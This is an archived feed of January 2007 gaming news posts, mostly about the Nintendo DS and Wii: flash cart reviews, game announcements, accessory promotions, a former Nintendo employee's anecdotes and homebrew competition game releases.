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January 22nd, 2007, 07:39 Posted By: scorpei
I've just released my review of the Express Card; A new flashcart device for the Nintendo DS. This review is however also applicable on a number of other devices (I have yet to receive samples of them so I can't be a 100% sure), namely the DS Fire Link, the NeoFlash MK5 and possibly others.
All games I tested worked with no (heavy noticable) problems/lag, even ones that are known to give problems such as Castlevania. The menu system could however still use some work (it's quite unclear, though after a while you partially get used to it) but that can of course come over time as it is just firm/software
Read it here
-Scor
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January 22nd, 2007, 18:27 Posted By: shadowprophet
Nintendo offers Wii owners a figurative link to the past every Monday with a new batch of retro releases on the system's Virtual Console service, but this week the company is literally offering them A Link to the Past, the Super Nintendo installment of The Legend of Zelda series.
Originally released 15 years ago, A Link to the Past follows the story of Link as he tries to rescue the kidnapped Princess Zelda. Along the way he'll travel through light and dark versions of the game's world, and attempt to thwart the evil wizard Agahnim's plans to resurrect Link's nemesis, Ganon. A Link to the Past was inducted into GameSpot's Greatest Games of All Time last year.
The Legend of Zelda: A Link to the Past is rated E for Everyone and sells for 800 Wii Points ($8).
Leave Feedback Via comments below
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January 22nd, 2007, 18:46 Posted By: wraggster
CMP Group, the organisers of the Game Developers Conference, have announced that this year's event will feature presentations from two key Nintendo figures.
First up is Eiji Aonuma, who began working on the Zelda series with The Ocarina of Time and more recently was responsible for overseeing the development of Twilight Princess.
Aonuma's speech will take a behind-the-scenes look at the development process, and discuss the challenges of bringing the series to different Nintendo platforms.
Koji Kondo's presentation is titled Painting an Interactive Musical Landscape and will focus on his work as a composer for games in the Super Mario and Legend of Zelda series. He'll describe what inspires him to create videogame uses and the methods he uses when composing.
Other recently announced speakers include Tsutomu Kouno, who will present a Loco Roco post-mortem, id Software's Todd Hollenshead and Konami's Koji Igarashi.
The Game Developers Conference will take place between March 5 - 9 at the Moscone Convention Center, San Francisco
via gamesindustry
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January 22nd, 2007, 18:49 Posted By: wraggster
via gibiz
Nintendo of Europe has announced that 10 million DS units have now been sold across the continent, making it the fastest and best-selling handheld in history.
The DS launched here in March 2005, and was followed by the redesigned DS Lite in June last year. It was one of the most popular products for European consumers at Christmas, with 1.7 million units sold during December alone.
"This landmark figure of 10 million Nintendo DS gamers cements the console?s position as undisputed leader of the handheld market, bringing gaming to a whole new audience - something that was unimaginable a few years ago," said European marketing director Laurent Fischer.
"The DS is now helping to shape the whole market with sales of the Nintendo DS console and games being the main drivers behind recent market growth all across Europe."
The original DS is priced at EUR 130 / GBP 89, while the DS Lite retails for EUR 150 / GBP 99. Forthcoming titles for the handheld include Mario Slam Basketball, Star Fox Command and Final Fantasy III.
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January 22nd, 2007, 20:04 Posted By: wraggster
via cvg
Shigeru Miyamoto will give a keynote speech at the 2007 Game Developers Conference in March dubbed 'A Creative Vision'.
The speech will reveal how a singular creative vision drives his work, not only in terms of the games he's famed for but also in generating technologies such as DS and Wii.
"The Game Developers Conference is a place for developers to learn from one another, and I think it is safe to say that every member of the community has at one time or another fantasized about having Shigeru Miyamoto as a mentor and teacher," said Jamil Moledina, executive director of the GDC. "By guiding us through his creative vision with a keynote at this year's GDC, Miyamoto is allowing all attendees this incomparable privilege."
Miyamoto's keynote will last one hour and take place on Thursday, March 8. We'll let you know what he's got to say for himself.
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January 22nd, 2007, 20:13 Posted By: wraggster
New from Divineo USA
Now you can be sure to maximize everything the Nintendo® Wii™ has to offer with the Talismoon Wii™ component cable. Become in awe of tremendously enhanced visuals and super crisp textures! Immerse yourself in the digital gaming world and get closer to the game with another premium quality product by Talismoon. Live every jump, shot, and twist and turn to the fullest thanks to the highest quality image displayed on your TV set. Experience the benefits of premium quality gaming for one third less of the retail cost in relation to the official counterpart.
· Ideal for standard or HD TV’s
· Supports screen resolutions up to 480p
· 5 year warranty
· Stereo sound available through left and right RCA cables
· 1.80 meters long
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January 22nd, 2007, 20:44 Posted By: wraggster
Man, those Nazi characters are really unpopular, Maybe they should get a publicist or something. We're not up on our history, but we do know Medal of Honor: Vanguard marks the Third Reich's 613th appearance as a video game antagonist (yes, we're including Bionic Commando). And we've got the screenshots to prove almost 30% of that last statement.
Similar to Medal of Honor: Airborne, Vanguard will once again emphasizes the paratroopers, specifically virtual hero Frank Keegan's 82nd Airborn division. The game is set for a March release.
Screens Here
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January 22nd, 2007, 20:47 Posted By: wraggster
A spiky bundle of new shots from Sega's Wii work in progress, Sonic and the Secret Rings, have hot footed it our way and show the intrepid hedgehog making a dash for some precariously placed red rings - could these be the eponymous treasures of the game's title? We think so.
Other images give us another look at the pointy-toothed Jurassic hazards that inhabit a jungle level of Sonic's adventure - it looks like the iconic ring collector uses a high-velocity burst to accelerate away from stampeding triceratops, and is that swirly, monochrome effect with the t-rex the result of a special power?
While this latest flurry of shots have left us guessing, if there's one thing we're absolutely positive of it's that Secret Rings will be way better than Sonic's dire run out on Xbox 360. Fingers crossed.
Screens Here
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January 22nd, 2007, 20:49 Posted By: wraggster
A Jay And Silent Bob game? That’s the spectacular wish of Clerks II/Dogma creator Kevin Smith – though he won’t be taking direct control. “I’m not really good enough to pull it off,” he claims. “Games is one field in which I like to be entertained, rather than try to be entertaining.” Smith admits he’d be happy to write the back story, but would leave the level design to the experts. “When it comes to levels and bosses and stuff like that, I’m not so good.” Smith famously claims he’s been into videogames since NHL Hockey on the Genesis – a ‘star’ of his movie Mallrats.
via gamesradar
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January 22nd, 2007, 20:57 Posted By: wraggster
Evolution is alive and well, and here's proof: the Wii controller strap has now mutated into its third iteration, after the first one was accused of hurting, maiming, and otherwise causing deadly mayhem to innocent users. What's new? The new straps are thicker, longer and have a supposedly more-durable plastic restraint that better helps it cling to your wrist.
In the picture, the new straps with their rounded plastic nubs on the ends are lined up on the left, and the old one whose business end vaguely resembles the Nintendo Wii console is on the right. Get the new ones, butterfingers! Or, you could just hold on tighter to the damn controller. Heck, Babe Ruth never let his bat fly out of his hands, did he? Huh? Just an example.
Screen Via Comments
via gizmodo
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January 22nd, 2007, 21:04 Posted By: wraggster
via kotaku
With the re-re-release of Final Fantasy VI (Originally III in the states) heading for the GBA in a couple of weeks, GameBrink has dug up the original Japanese commercial for the game for our viewing pleasure, featuring a cosplay Terra in her primitive CG Magitek Armor materializing in the middle of a busy street.
Ah yes, the good old days, back before in-game graphics could carry an entire commercial.
FFVI is probably my favorite Final Fantasy game of the series, containing the best cast, the best villain in Kefka, and probably the best ending sequence of any game I've ever played. If you feel the need to have a game sticking rudely out of the bottom of your DS Lite, this is a very good choice.
Commercial via link above
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January 22nd, 2007, 21:12 Posted By: wraggster
via joystiq
Remember the guy who claimed to have lost nine pounds from playing Nintendo Wii? That man, Mickey DeLorenzo of Wii Nintendo, was featured on the local NBC news, and the related video has been named the top gaming video on YouTube.
Seeing Delorenzo measure himself was an interesting part of the report, but what got us was the reporter's reaction, which was of utter shock that a video game system was not causing weight gain. Despite that, we still have obligatory Wii puns, including:
"Wii-search" (as in, research)
"A Wii bit of exercise"
"Wii like it."
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January 22nd, 2007, 21:15 Posted By: wraggster
News from Play Asia
Shipping today: Datel's WiFi MAX for Nintendo Wii™ - Internet gaming through any internet-enabled PC
From the manufacturer: Take your consoles online – wirelessly…
So you have a Nintendo Wii or an NDS (original or Lite). If you're lucky, you have both! You also have a broadband internet connection for your PC. But you don't have a wireless network. What's the easiest, cheapest way to take your consoles online and compete with gamers from all over the world? Simple – WiFi MAX for Nintendo Wii and DS/DS Lite!
WiFi MAX is your ticket to the exciting world of online gaming, and it couldn't be simpler to use. Just plug your USB WiFi dongle into your internet-enabled PC to create a Wireless Access Point. You can then connect to the internet and play online-enabled multiplayer games with DS and Wii gamers from all over the world. Just the thing if you don't have a wireless router! Best of all, WiFi MAX supports up to five ‘local' DS gamers at a time, so you and your mates can all play online at once with no loss of speed!
Don't forget, there's more to the Nintendo Wii's online service than playing games. You can also download additional material such as new levels, skins, artwork and even retro games! That's right – Nintendo is gradually making its back-catalogue classics for old Nintendo machines such as the NES, SNES and N64 available to Wii owners through the Virtual Arcade service. And with WiFi MAX, you can download them through your broadband internet connection! Just think what you'll be missing out on if you don't take your Wii online…
As WiFi MAX operates on the Wireless G standard, it's five times faster than an ordinary WiFi connection, and if you use our USB cable and dongle stand (supplied), you can position your dongle to maximise WiFi range. If you have other WiFi-enabled devices capable of using the internet, such as laptops or PDAs, you can take them online with WiFi MAX too. It's the ultimate device for internet surfing without a WiFi router!
Datel's WiFi MAX for Nintendo Wii™ is shipping today at US$ 34.90 only. Also still available is the WiFi MAX for Nintendo DS™ (currently on promotion at US$ 24.50 only) and for Sony PSP™.
Product features:
Download new content and Virtual Arcade material on your Wii.
Internet gaming through any internet-enabled PC.
No cables necessary – make a wireless connection.
Five times faster than standard WiFi.
Suppled with software CD and WiFi dongle, and also a USB cable and stand for optimal positioning.
Compatible with all Wii and NDS internet-enabled games.
More Info at Play Asia
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January 22nd, 2007, 21:15 Posted By: wraggster
News from Play Asia
Shipping today: Datel's WiFi MAX for Nintendo Wii™ - Internet gaming through any internet-enabled PC
From the manufacturer: Take your consoles online – wirelessly…
So you have a Nintendo Wii or an NDS (original or Lite). If you're lucky, you have both! You also have a broadband internet connection for your PC. But you don't have a wireless network. What's the easiest, cheapest way to take your consoles online and compete with gamers from all over the world? Simple – WiFi MAX for Nintendo Wii and DS/DS Lite!
WiFi MAX is your ticket to the exciting world of online gaming, and it couldn't be simpler to use. Just plug your USB WiFi dongle into your internet-enabled PC to create a Wireless Access Point. You can then connect to the internet and play online-enabled multiplayer games with DS and Wii gamers from all over the world. Just the thing if you don't have a wireless router! Best of all, WiFi MAX supports up to five ‘local' DS gamers at a time, so you and your mates can all play online at once with no loss of speed!
Don't forget, there's more to the Nintendo Wii's online service than playing games. You can also download additional material such as new levels, skins, artwork and even retro games! That's right – Nintendo is gradually making its back-catalogue classics for old Nintendo machines such as the NES, SNES and N64 available to Wii owners through the Virtual Arcade service. And with WiFi MAX, you can download them through your broadband internet connection! Just think what you'll be missing out on if you don't take your Wii online…
As WiFi MAX operates on the Wireless G standard, it's five times faster than an ordinary WiFi connection, and if you use our USB cable and dongle stand (supplied), you can position your dongle to maximise WiFi range. If you have other WiFi-enabled devices capable of using the internet, such as laptops or PDAs, you can take them online with WiFi MAX too. It's the ultimate device for internet surfing without a WiFi router!
Datel's WiFi MAX for Nintendo Wii™ is shipping today at US$ 34.90 only. Also still available is the WiFi MAX for Nintendo DS™ (currently on promotion at US$ 24.50 only) and for Sony PSP™.
Product features:
Download new content and Virtual Arcade material on your Wii.
Internet gaming through any internet-enabled PC.
No cables necessary – make a wireless connection.
Five times faster than standard WiFi.
Suppled with software CD and WiFi dongle, and also a USB cable and stand for optimal positioning.
Compatible with all Wii and NDS internet-enabled games.
More Info at Play Asia
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January 22nd, 2007, 21:39 Posted By: wraggster
NattyBumppo posted this over at something aweful about his times at Nintendo:
For many, Nintendo is a mystical place out of which fun games and interesting ideas come from time to time. Some people are die-hard fans of the company, following its every move and setting up little shrines to its corporate celebrities, whether virtual (on Geocities) or corporeal (in their bedrooms). Others despise them, usually out of a deep-seated disagreement with their products and advertising, which to many gamers represent much more than mere financial decisions. Either way, Nintendo is a company in which people in this forum have invested a lot of emotions, and I count myself among you in this.
I just spent a year and a half inside the marble edifice that is Nintendo of America, as a programmer and full employee- not a tester, holed up within a partitioned prison, excluded from the company culture- and now that I am leaving the job for other (possibly greener?) pastures, I come to you with the modest gift of the stories I can tell.
I'll try to stay away from anything confidential in this thread, as I still respect Nintendo's privacy quite a bit. I think the company is a great place to work and I have very few, if any, negative things to say about them. But I'll share some interesting things:
---
(This one's probably obvious, but...)
The majority of people at Nintendo who are directly involved with games actually follow gaming news, websites, and forums very closely. (They're gaming geeks too!) They know when people are pissed off by new console colors, or when forums make fun of crappy 3rd-party releases, or when fans make petitions for games they want to get translated. It's not like all of the letters sent to Consumer Service are translated and mailed in a manila envelope to Mr. Iwata, but the company generally recognizes the fans' opinions. Unfortunately for some hardcore fans, most decisions are made for sound, researched financial reasons, and while fans can sway corporate opinions through buying products or by inspiring extensive media coverage, "we loved Kid Icarus make anooooother"-type pathos isn't really an effective arguing tactic, at least in the short term.
---
Pretty much everyone at NOA I talked to about this thinks "Ninty" is the stupidest nickname ever.
---
You know how Reggie Fils-Aimé, Miyamoto-san, and Iwata-san are sort of seen as dynamic, almost fictional characters in the amount of hype and respect they get in Nintendo fan communities? Yeah, well, it's like that for most of the employees too, only we have more stories to tell about them.
---
You'd know this if you've ever been to Redmond, but Nintendo is completely and utterly surrounded by Microsoft. There are Microsoft buildings less than a quarter mile to the north, south, east, and west of the company's HQ. There's just one single, vacant lot to the north of NOA that Nintendo owns and Microsoft's constantly trying to buy, but Nintendo won't budge. I'm convinced it's a secret NOA command outpost.
---
Nintendo is a big company, and while there are lots of people who deal directly with games everyday, such as testers, translators, writers, programmers, and artists, there are plenty of people there who don't work with games, and don't even play games. I met lots of people who didn't know anything about games, and they didn't care: they were there to research patents, or monitor credit accounts for retailers, or think of good benefits for employees, or find cheap flights for business trips. Tons of people don't give a poop about games, and just happen to work for a game company.
However, the Wii's launch changed this, and it was startling. The employee store was swamped with orders from people who never, EVER play games, and I saw people who were obviously getting their feet wet for the very first time diving into gameplaying and talking about how they never knew video games could be fun and easy to play. It was astounding- my first hint, personally, that the Wii might actually hit its marketing demographic.
-----
There are a few stories I would be more than happy to tell if there's any interest, though you'll have to forgive me if I like to tell them in a long-winded fashion and don't type them up immediately, as I like to sleep a lot. Some possible stories might be:
-Nintendo Power's 200th issue anniversary party and the epic trivia contest
-Nintendo company picnics and other amazing things that employees do
-Getting drunk and meeting Mr. Miyamoto, and other E3 2006 debauchery
-The day the Wii name was announced to employees
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January 22nd, 2007, 21:39 Posted By: wraggster
NattyBumppo posted this over at something aweful about his times at Nintendo:
For many, Nintendo is a mystical place out of which fun games and interesting ideas come from time to time. Some people are die-hard fans of the company, following its every move and setting up little shrines to its corporate celebrities, whether virtual (on Geocities) or corporeal (in their bedrooms). Others despise them, usually out of a deep-seated disagreement with their products and advertising, which to many gamers represent much more than mere financial decisions. Either way, Nintendo is a company in which people in this forum have invested a lot of emotions, and I count myself among you in this.
I just spent a year and a half inside the marble edifice that is Nintendo of America, as a programmer and full employee- not a tester, holed up within a partitioned prison, excluded from the company culture- and now that I am leaving the job for other (possibly greener?) pastures, I come to you with the modest gift of the stories I can tell.
I'll try to stay away from anything confidential in this thread, as I still respect Nintendo's privacy quite a bit. I think the company is a great place to work and I have very few, if any, negative things to say about them. But I'll share some interesting things:
---
(This one's probably obvious, but...)
The majority of people at Nintendo who are directly involved with games actually follow gaming news, websites, and forums very closely. (They're gaming geeks too!) They know when people are pissed off by new console colors, or when forums make fun of crappy 3rd-party releases, or when fans make petitions for games they want to get translated. It's not like all of the letters sent to Consumer Service are translated and mailed in a manila envelope to Mr. Iwata, but the company generally recognizes the fans' opinions. Unfortunately for some hardcore fans, most decisions are made for sound, researched financial reasons, and while fans can sway corporate opinions through buying products or by inspiring extensive media coverage, "we loved Kid Icarus make anooooother"-type pathos isn't really an effective arguing tactic, at least in the short term.
---
Pretty much everyone at NOA I talked to about this thinks "Ninty" is the stupidest nickname ever.
---
You know how Reggie Fils-Aimé, Miyamoto-san, and Iwata-san are sort of seen as dynamic, almost fictional characters in the amount of hype and respect they get in Nintendo fan communities? Yeah, well, it's like that for most of the employees too, only we have more stories to tell about them.
---
You'd know this if you've ever been to Redmond, but Nintendo is completely and utterly surrounded by Microsoft. There are Microsoft buildings less than a quarter mile to the north, south, east, and west of the company's HQ. There's just one single, vacant lot to the north of NOA that Nintendo owns and Microsoft's constantly trying to buy, but Nintendo won't budge. I'm convinced it's a secret NOA command outpost.
---
Nintendo is a big company, and while there are lots of people who deal directly with games everyday, such as testers, translators, writers, programmers, and artists, there are plenty of people there who don't work with games, and don't even play games. I met lots of people who didn't know anything about games, and they didn't care: they were there to research patents, or monitor credit accounts for retailers, or think of good benefits for employees, or find cheap flights for business trips. Tons of people don't give a poop about games, and just happen to work for a game company.
However, the Wii's launch changed this, and it was startling. The employee store was swamped with orders from people who never, EVER play games, and I saw people who were obviously getting their feet wet for the very first time diving into gameplaying and talking about how they never knew video games could be fun and easy to play. It was astounding- my first hint, personally, that the Wii might actually hit its marketing demographic.
-----
There are a few stories I would be more than happy to tell if there's any interest, though you'll have to forgive me if I like to tell them in a long-winded fashion and don't type them up immediately, as I like to sleep a lot. Some possible stories might be:
-Nintendo Power's 200th issue anniversary party and the epic trivia contest
-Nintendo company picnics and other amazing things that employees do
-Getting drunk and meeting Mr. Miyamoto, and other E3 2006 debauchery
-The day the Wii name was announced to employees
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January 22nd, 2007, 22:06 Posted By: wraggster
Noda has released a new version of Warcraft Tower Defense for the Nintendo DS, heres whats new:
Heres some screens:
- 20/01/2007 : v0.2 beta
= corrected the bug with the animation of some monsters
= corrected a bug which may occurs when selling a tower
= adjusted the pathfinder’s memory allocation: big maps should now work
= adjusted detection zone for build/cancel buttons
+ increased values range some parameters (life of the dragon in Spiral TD should now be correct)
+ spawn and end points are now displayed on the minimap
+ added preliminary Fatlib support
+ new map: Save The Snowman !
+ added some 3rd many maps to the package, thanks to their authors !
+ now the PAFS version can run on the DeSmuME emulator ! it’s now easier to test your maps created with the editor
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January 22nd, 2007, 22:19 Posted By: wraggster
via voip service
Since the Nintendo DS has a built-in microphone and a wireless Internet connection, what's to stop it from being used as a WiFi phone, or the DSphone, if you will?
I've scoured the 'net and found some projects currently underway that claim to do just that, albeit with limitations.
VoiceChatClient is a homebrew application that lets you freely call anyone who also has VoiceChatClient installed on their DS. This hack even adds extra value by transmitting what you write on the touch screen to the other person! VCC requires hacked firmware or some type of passthrough device.
DSpeak has been developed by Nintendo themselves, but aside from a demo at E3 in 2005, nothing more has been heard about this program. DSpeak will reportedly allow in-game and out-of-game chat. And when you speak, an on-screen Mario or Wario avatar lip syncs along!
HelloDS was released some time ago as a proof-of-concept hack, along with a promise of a future version of this homebrew software. Unfortunately, the update has not been forthcoming. The initial version is still available and requires the firmware hack or passthrough.
Metroid Prime: Hunters is currently the most easily accessible option for chatting with your DS buddies. All it requires is the Metroid Prime: Hunters game and a WiFi connection. You might want the NDS VoIP headset too. For this VoIP solution, you just meet the person you want to speak with in the same pre-game lobby and talk. It also works post-game, but not during.
Conclusion: Though this handheld gaming device is certainly capable of competing with other mobile WiFi phones, the current state of Nintendo DS VoIP affairs isn't very exciting. None of the above solutions include support for SIP or for dialing out. However, the demand seems to be out there, so the DS might get to see a true VoIP app yet.
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January 22nd, 2007, 22:39 Posted By: wraggster
via ign
If you've completed Super Monkey Ball: Banana Blitz and desperately need some more spherical action for your Wii, Nintendo might have the answer. It's announced that Hudson's marble-based tilting puzzler Kororinpa is coming to Europe on February 23.
Available from launch in Japan, Kororinpa sees you guiding a series of balls through increasingly complex 3D mazes. You've got complete control over the environments and can even flip them upside down in your mission to reach the goal.
There are 50 stages in total and a host of different balls - each with their own unique attributes. Some are faster, others are more responsive and a couple even look like animals. Kororinpa also supports multiplayer, with one person attached the Wiimote while the other uses the Nunchuck in a race to collect the most gems.
Kororinpa will hit European shelves at the relatively low price of €49 (approximately £34).
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January 22nd, 2007, 22:40 Posted By: wraggster
via ign
The Australian Open has once again descended on Melbourne, and tennis fever has gripped the city. Determined not to miss out on the action, Nintendo held its own Wii Tennis tournie last week, and Friday, January 19 was the day of the final. An enthused crowd gathered at Myer to watch four finalists from the week's heats, as well as two of Australia's tennis greats, Pat Cash and Mark Woodforde, strut their virtual stuff in Wii Tennis. May we present to you, our photo narrative, followed by a chat with Mark and Pat.
Full article at IGN
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January 22nd, 2007, 22:41 Posted By: wraggster
via ign
Today, Atari announced the development of two entirely new Dragon Ball Z titles. Dragon Ball Z Shin Budokai: Another Road for the PSP and Dragon Ball Z Harukanaru Densetsu for Nintendo DS will both be fighting their way to stores this spring.
Dragon Ball Z Shin Budokai: Another Road is the sequel to the PSP game, Dragon Ball Z Shin Budokai. The game follows the same pattern as last year's game and adds more than 50 new fighting skills and ultimate attacks, as well as the power to play heroes and villains from throughout the Dragon Ball, Dragon Ball Z, and Dragon Ball GT worlds. Additionally, Shin Budokai will offer Dragon Ball fans an entirely new storyline, following Future Trunks in his battles against arch-rival, Majin Buu. Developed by Namco Bandai, Dragon Ball Z Shinbudokai: Another Road is slated for release on the PSP this March.
Dragon Ball Z Harukanaru Densetsu combines strategic card-based gameplay and role-playing for a new Dragon Ball experience. Cards are the focal point of the game, as they are used to evolve characters and customize moves. Dragon Ball Z Harukanaru Densetsu will be available on the DS this spring.
Newcomers and faithful fans of DBZ will be thrilled with these two new handheld games," said Emily Anadu of Atari. "Shin Budokai: Another Road lets players take the DBZ universe over a Wi-Fi network with an exciting new story that is sure to grab long-time fans while Harukanaru Densetsu tackles a new form of RPG with card-playing -- an interesting innovation for the DBZ series that we believe will attract gamers who enjoy strategy-based gameplay."
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January 22nd, 2007, 23:16 Posted By: wraggster
Via SCdev comes news of a redesign of the M3 /R4 DS flash carts:
so what's the differences:
new style carrying case for cards with out chain
new microsd card reader, more reliable
new designed PCB, so no more M3 simply and R4 conversion, but it does retain the language conversion.
on the photo you will see that the four jumpers on the left side of the PCB were left with just one.
also the prices is increased from when I made my purchased at USD 29 to USD 40.
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January 22nd, 2007, 23:21 Posted By: wraggster
an entry in the Drunken coders comp pits Santa vs the Martians.
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January 22nd, 2007, 23:27 Posted By: wraggster
Another entry in the Drunken Coders Comp, check out the screenshots and more and Download via Comments.
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January 22nd, 2007, 23:41 Posted By: wraggster
Dustin has released an entry for the Drunken coders comp, heres the details:
Dodge the ornaments while collecting the stars. The longer you stay alive the higher your score. You have no weapons with which to defend yourself however you can slow down time in order to better dodge the ornaments. Watch out though as you run out of slow motion the bottom screen will turn from red to black. When it's black your out.
Star effects
Blue stars - 10 points and refill half of slow motion
Red stars - refill slow motion
Green stars - destroy all enemies on screen and refill half of slow motion
Options
physics - on things glide around (astroids style), off they don't
players - one or two. If it's two then one person uses the x,y,a,b to move
control - stylus you use the stylus on the bottom screen d pad you use that
Controls
stylus or d pad to move depending on your choice. Either L or R will slow down time. Player 2 uses x,y,a,b regardless of whether player 1 is using the d pad or the stylus.
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January 22nd, 2007, 23:47 Posted By: wraggster
New release for the Drunken coders compo by dvsoftware:
The goal of this game is to defend Your
stronghold from soldiers that attempts to
destroy it. There are various types of
enemies through the game. At the end of
each day (approximately 80 seconds), You
can upgrade Your stronghold. For more
information, check the instructions in
game. This version of the game features
winter theme.
P.S. Look for an easter egg xD
== Known Bugs ==
- Sometimes, no enemies appear on the
first day;
- Sprites sometimes get corrupted due
to memory overflow (happens usualy
after 50 days).
== To-Do ==
- Rewrite entire background animation
system for better quality and smaller
memory usage;
- Multiplayer;
- More weapons;
- High Score List;
- 3D sprites.
== Credits ==
- Development and graphics:
Dejan Velimirovic (DVSoftware)
- Beta Testing: vBm
- Inspired by a flash game with the same
name
- Soldiers are from Metal Slug game
- Programmed using DevkitPRO r19, libnds
and PALib
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January 22nd, 2007, 23:52 Posted By: wraggster
Campanile has posted an entry in the Drunken Coders called Xmas Factory.
No other details known
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January 22nd, 2007, 23:56 Posted By: wraggster
Fremaans release in the Drunken coders comp, heres the details from the readme:
Made for Drunkencoders Second Annual Christmas Game Coding Competition - 2007
Files:
-/media - screenshots
-icerunner_0_1.* - the game
-readme.txt - this file
Gameplay:
-LEFT/RIGHT: accelerate
-Touch/UP/DOWN: move up/down (I recommand to control it with the touch-screen)
-START: pause
You'll get 1500 points for every collected package.
Beware! Your points will decrease by the time!
Please submit your score when if you can...
Score:
If you want, you can submit your score to the hightscore-list.
No other info will be submitted than your nickname and your score.
TOP10 list: http://celebris.net/~freemaan/icerun.../php/top10.php
Full list: http://celebris.net/~freemaan/icerun...er/php/all.php
Compatibility:
-it should work with every cart & WMB
Version history:
-0.1 - initial release
Credits:
-Music:
Dark Chasm by Aeron
Positive Reaction by Chem8stry
http://themusiclib.com
-Code and everything other:
davido2 (freemaan)
Enjoy
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January 23rd, 2007, 00:06 Posted By: wraggster
Kukuklan has released a great looking puzzle game for the Drunken Coders Comp
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January 23rd, 2007, 00:11 Posted By: wraggster
Release for the Drunken Comp by sumiguchi:
Thanks for trying out this game. I hope you
enjoy it. Your comments/questions/bug reports are
always welcome!
This is a music game so play to the rythm to get
the best score and more importantly, to make the
melody!
For best results play in a quiet area with the
volume turned up or use headphones.
There is a pretty steap learning curve, but after
a few tries I think you will be able to play
along pretty well with any of the six songs.
I have found this game to be impossible to play
using an emulator - please play on real NDS.
+++++++++++++HOW TO PLAY
Instructions on how to play can be seen by
clicking the ? on the main menu.
While playing, you can press Start to return to the
main menu.
Practice mode, runs the songs at 1/2 speed but
the accompanying background music is not played.
+++++++++++++SAVING++++++++++++++++++
This game uses SRAM to save results but you will be
asked before it is formatted & used. If your device
does not support it or you choose not to use SRAM,
your scores will be cleared when the power is turned
off. AKA: the end of the world as we know it
+++++++++++++MODS+++++++++++++++++++
The mod music was modified to fit my game engine
and to slow them down to a playable speed. The
original un-edited mods can be found at:
* http://www.modarchive.com/
* http://www.jump-gate.com/christmas/mods.html
Thanks to the creator's of these mods!
+++++++++++++WHEELS++++++++++++++++++
This game would not be possible without DevkitPro,
libnds and PAlib. Thanks to the contributers to these
tools that make NDS homebrew possible and more accessible!
++++++++++++HISTORY+++++++++++++++++++
I've been very interested in making a music game since I began game programming (July 2005). I enjoy rythm games but really wanted to make a game where you are playing one of the instruments ala Guitar Hero (a fantastic game).
I built a game for the GBA where you could play a guitar, well 20 powercords to be exact, by pushing different combinations of buttons. While I got the hang of it from constant playtesting, I couldn't find anyone that didn't find it TOO hard to enjoy.
Thanks to the DS touch screen, I think this interface is a lot easier to play - though you may disagree at first! It allows a user to have full set of 20 sequential notes of an instrument, (chosen to fit each song), and by playing the right note at the right time, you will not only score well, but you will be making music...so tell your mom your quiting band...and get good at this game :P
If you like this game...check my website for a new game coming out (also in January) by the name of playDiSmusic where I took the same gameplay engine and reworked it for a new look & feel all in the name of rock'n'roll.
Anyways - I had a great time making this game and am very pleased with the end result. I hope you enjoy.
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January 23rd, 2007, 00:15 Posted By: wraggster
Xuron's entry to the DrunkenCoders Compo, heres the details:
Hi, this is my other entry for the Drunkencoder's 2006/2007 Christmas Compo.
The sound might not work on this one. Have fun. More info can be found under
"How to" in the game.
A-jump
B-punch - slows enemies
X-snow ball
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January 23rd, 2007, 00:31 Posted By: wraggster
Jess`s entry into the Drunken coders Comp, heres the details from the readme:
This game is a simple but addictive game. The main aim is to have Santa kick an Elf as far as he possibly can. to acheive this, you can either use the standard-input via the Touch screen, or if you have an NDS Motion Card ( www.ndsmotion.com) available, you can use that instead.
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January 23rd, 2007, 00:36 Posted By: wraggster
Sander Stolk`s entry into the Drunken coders comp, heres the release details:
Santa had been delivering presents all over the galaxy. Now he's finished, he just wants to get back to our planet to relaxe. Suddenly, a giant laser beam stopped him from getting to the Southpole! A nice dinosaur noticed this and wants to stop the laser. Can you help him? Please?
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January 23rd, 2007, 00:46 Posted By: wraggster
Birslips entry into the Drunken coders comp, heres the release details:
Click 4 tiles of the same color and form squares as big as you can. You will erase all the tiles inside the square and collect points. Time is running... You have 3 minutes to do the best score!
The original game: http://lightforce.freestuff.gr/znax.php
Ds version by Birslip (birslip@gmail.com).
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January 23rd, 2007, 00:59 Posted By: wraggster
Yet another release for the Drunken coders comp, heres the details:
A homage to Osu! Tatakae! Ouendan! by iNiS for NDS
* It's christmas eve and all the reindeers are laughing at Rudolph because of his red nose.
* No worries! The Squirrel Rhythm Squad will surely cheer him up with a song!
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January 23rd, 2007, 01:24 Posted By: wraggster
2 weeks ago i sent an email to Datel asking about the availability of their Advance Game Port which allows GBA Carts to plug into a Memory Card Adapter of the Gamecube, i did ask if a Wii Version was posssible.
Well today i got a reply back saying yes its possible and to keep an eye out on the codejunkies store very soon
Lets hope they fixed the problems with the original Gamecube Version.
What this will mean is that GBA Homebrew and Emulators and Even your own GBA Games should play very nicely when they do release a new version in the near future.
Thanks to Datel for answering my email
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January 23rd, 2007, 01:42 Posted By: wraggster
Newly released for Nintendo DS :
System 3's TENNIS MASTERS balances gameplay and action allowing you to use real-world tennis tactics; a feature missing in other tennis games. You can learn and eventually master tactics like Chip'N-Charge and Serve-Volley providing a richer gaming experience than just 'Pong' with rackets. Use a range of different shots like, PowerShot, PowerAngle, Power Lob and Drop- Shot. To help novice players gain confidence, there is TENNIS MASTERS' unique HELPER feature. A simple blue cursor, that can be switched on or off, aids you to see the best position to be in to successfully hit the ball returned from your opponent.
More Info at Amazon UK
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January 23rd, 2007, 07:35 Posted By: wraggster
Ever since Wii was announced, last bastion GameCube games have been dropping like flies to the newer console. Super Paper Mario is the latest game to suffer the same fate as the recent issue of Nintendo Power confirms via Codename Revolution.
The game, expected this April, will use the Wiimote side-style with the directional pad for platforming, the "2" button for jumping and "A" button to switch from 2D to 3D visuals. Graphics were said to have received an upgrade since the game's unveiling at E3 last year, and the title is expected to make "interesting use" of the Wiimote.
If you didn't see the transition from GC to Wii coming (as IGN alluded to back in September), you've been drinking way too much Nintendo Kool-Aid. Sure, it's tasty. But sometimes it has a bitter aftertaste.
via joystiq
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January 23rd, 2007, 17:03 Posted By: wraggster
Keiji Inafune, one of Capcom's most highly regarded developers and creator of Mega Man (Rockman) and the more recent Dead Rising, has revealed that Capcom is working on an as yet unannounced Wii game.
Speaking with Japanese magazine, Gemaga, (via IGN) Inefune did not reveal what role he is playing in the project, if any at all, but with Dead Rising and Lost Planet being his latest work - and two of the biggest games on 360 - we're hoping he'll have some involvement.
Capcom was not available for comment at the time of writing.
via cvg
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January 23rd, 2007, 21:00 Posted By: wraggster
Nintendo of America President Reggie Fils-Aime has said in an interview that the company is interested in HD Wii content but it's too early to call at the moment.
